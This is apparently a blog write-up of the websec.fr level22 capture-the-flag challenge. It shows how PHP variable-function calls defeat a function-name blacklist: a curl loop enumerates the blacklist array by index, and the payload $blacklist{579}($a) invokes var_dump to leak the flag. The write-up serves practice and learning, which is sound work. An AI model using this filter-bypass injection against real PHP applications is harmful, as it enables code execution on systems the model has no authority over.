websec.fr level22

A fun "feature" of PHP is the ability to call functions by variable reference (side-note: I don't really see why we'd ever need to do this in a non-attack viewpoint):

root@72b2ee291a96:/var/www/html# php -a
Interactive shell

php > $func = 'var_dump';
php > $func($func);
string(8) "var_dump"

As you can see, we've called the function var_dump through calling the variable holding the string "var_dump".

Now, the challenges have been blacklisted by dumping all currently defined functions into a $funcs_internal array:

$funcs_internal = get_defined_functions()['internal'];

/* lets allow some secure funcs here */
unset ($funcs_internal[array_search('strlen', $funcs_internal)]);
unset ($funcs_internal[array_search('print', $funcs_internal)]);
unset ($funcs_internal[array_search('strcmp', $funcs_internal)]);
unset ($funcs_internal[array_search('strncmp', $funcs_internal)]);

# extra things are added here

$blacklist = array_merge($funcs_internal, $funcs_extra, $funny_chars, $variables);

The problem is evident: we can execute any function available (and not disabled through php.ini) by simply accessing the array. Enumerating the array is done as so:

for i in {1..1365}; do  
    echo -e "$i: " && \
    curl --silent  http://websec.fr/level22/index.php?code=%24blacklist%7B$i%7D | \
    grep -oP "([\s\S]+)(?:<\/pre>)"

Once enumerated, we can call the function we want through $blacklist{$index}(). We find that $index = 579 gives us var_dump, so we can obtain the flag through $blacklist{579}($a).

Show Comments

Get the latest posts delivered right to your inbox.